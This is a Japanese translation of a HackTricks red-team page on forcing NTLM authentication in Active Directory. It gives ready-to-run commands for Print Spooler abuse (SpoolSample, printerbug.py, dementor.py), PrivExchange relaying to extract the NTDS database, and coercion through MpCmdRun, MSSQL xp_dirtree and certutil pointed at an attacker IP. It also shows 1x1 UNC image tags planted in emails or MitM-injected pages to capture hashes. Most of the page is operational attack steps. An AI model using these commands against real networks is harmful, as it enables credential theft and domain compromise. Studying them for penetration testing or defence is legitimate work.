hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

7.5 KiB
Raw Blame History

NTLM特権認証を強制する

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学びましょう

SharpSystemTriggers

SharpSystemTriggersは、MIDLコンパイラを使用してC#でコーディングされたリモート認証トリガーのコレクションです。これにより、第三者の依存関係を回避できます。

スプーラーサービスの悪用

_Print Spoolerサービスが有効になっている場合、既知のAD資格情報を使用して、ドメインコントローラーのプリントサーバーに新しい印刷ジョブの更新を要求し、通知を特定のシステムに送信するように指示できます。
プリンターが任意のシステムに通知を送信するとき、そのシステムに対して認証する必要があります。したがって、攻撃者は
Print Spooler_サービスを任意のシステムに対して認証させ、サービスはこの認証でコンピューターアカウントを使用します。

ドメイン上のWindowsサーバーを見つける

PowerShellを使用して、Windowsボックスのリストを取得します。通常、サーバーが優先されるため、そこに焦点を当てましょう

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

スプーラーサービスのリスニングを見つける

やや修正された @mysmartlogin's (Vincent Le Toux's) の SpoolerScanner を使用して、スプーラーサービスがリスニングしているかどうかを確認します:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

あなたはLinux上でrpcdump.pyを使用し、MS-RPRNプロトコルを探すこともできます。

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

任意のホストに対してサービスに認証を要求する

ここからSpoolSampleをコンパイルできます

SpoolSample.exe <TARGET> <RESPONDERIP>

または、3xocyteのdementor.pyまたはprinterbug.pyを使用している場合は、Linuxを使用してください。

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Unconstrained Delegationと組み合わせる

攻撃者がすでにUnconstrained Delegationを利用してコンピュータを侵害している場合、攻撃者はプリンタをこのコンピュータに認証させることができます。Unconstrained Delegationにより、プリンタのコンピュータアカウントのTGTがUnconstrained Delegationを持つコンピュータのメモリに保存されます。攻撃者はすでにこのホストを侵害しているため、このチケットを取得して悪用することができます(Pass the Ticket)。

RCP Force authentication

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

PrivExchange攻撃は、Exchange ServerのPushSubscription機能に見つかった欠陥の結果です。この機能により、Exchangeサーバを持つ任意のドメインユーザーが、HTTP経由でクライアント提供のホストに強制的に認証させることができます。

デフォルトでは、ExchangeサービスはSYSTEMとして実行され、過剰な特権が与えられます(具体的には、2019年以前の累積更新プログラムでドメインのWriteDacl特権が与えられます)。この欠陥を悪用すると、情報をLDAPに中継し、その後ドメインNTDSデータベースを抽出することができます。LDAPへの中継ができない場合でも、この欠陥を使用してドメイン内の他のホストに中継および認証することができます。この攻撃の成功により、認証されたドメインユーザーアカウントを使用して、Domain Adminへの直接アクセスが可能となります。

Inside Windows

Windowsマシン内部にすでにいる場合、特権アカウントを使用してWindowsをサーバに接続するように強制することができます:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

または、別のテクニックを使用することもできます: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

certutil.exe lolbinMicrosoftによって署名されたバイナリを使用してNTLM認証を強制することが可能です:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTMLインジェクション

メール経由

コンプロマイズしたいマシンにログインするユーザーのメールアドレスを知っている場合、以下のような1x1の画像が埋め込まれたメールを送信することができます。

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

MitM

コンピュータに対してMitM攻撃を実行し、彼が視覚化するページにHTMLを注入できる場合、次のような画像をページに注入してみることができます

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

NTLMv1のクラック

NTLMv1のチャレンジをキャプチャできる場合は、こちらを参照してクラック方法を確認してください
NTLMv1をクラックするには、Responderのチャレンジを "1122334455667788" に設定する必要があります。